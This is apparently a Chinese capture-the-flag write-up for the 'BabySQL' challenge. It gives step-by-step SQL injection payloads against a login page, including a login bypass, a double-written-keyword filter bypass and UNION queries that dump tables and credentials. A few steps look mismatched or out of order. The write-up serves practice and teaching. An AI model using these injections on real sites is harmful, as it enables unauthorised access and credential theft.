1. 程式人生 > 其它 >[極客大挑戰 2019]BabySQL 1

[極客大挑戰 2019]BabySQL 1

1.發現

1.1隨便輸入,檢視結果。

1.2使用萬能密碼,登入失敗。

/check.php?username=admin' or '1'='1&password=1

知識點:

1)萬能密碼繞過

1.3嘗試註釋掉password內容,登陸成功。

/check.php?username=admin' %23&password=1

知識點:

1)urlencode編碼

2.步驟

2.1嘗試查詢欄位數,根據報錯資訊,可以判斷出遮蔽掉了關鍵字:or,所以萬能密碼登陸失敗。

/check.php?username=admin' order by 3%23&password=1

2.2嘗試雙寫繞過,繞過成功。

/check.php?username=admin' oorr '1'='1%23&password=1

知識點:

1)雙寫繞過replace函式

2.3因為存在將關鍵字置換為空的過濾,全部雙寫以繞過,查詢欄位數,判斷出欄位數為3。

/check.php?username=admin' uniunionon selselectect 1,2,3,4 %23 &password=1

知識點:

1)SQL語句

2)聯合查詢

2.4查詢回顯點位,得到回顯點位為23。

/check.php
?username=1' uniunionon selselectect 11,22,33 %23
&password=1

2.5 查詢當前資料庫名及版本,得到資料庫名為:geek

/check.php
?username=1' uniunionon selselectect 11,version(),database() %23
&password=1

2.6繼續查詢當資料庫中表名,得到兩個表名為:b4bsqlgeekuser。

/check.php
?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23
&password=1

2.7查詢第一個表中的內容,得到該表中的欄位資訊。

/check.php
?username=1' uniunionon selselectect 11,22,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom geek.b4bsql %23
&password=1

2.8查詢usernamepassword的內容,得到flag.

/check.php
?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23
&password=1

3.借鑑

(16條訊息) BUUCTF [極客大挑戰 2019] BabySQL_Senimo-CSDN部落格

(16條訊息) SQL注入中,註釋#、 --+、 --%20、 %23到底是什麼意思?sqli-labs-master_Dooz的部落格-CSDN部落格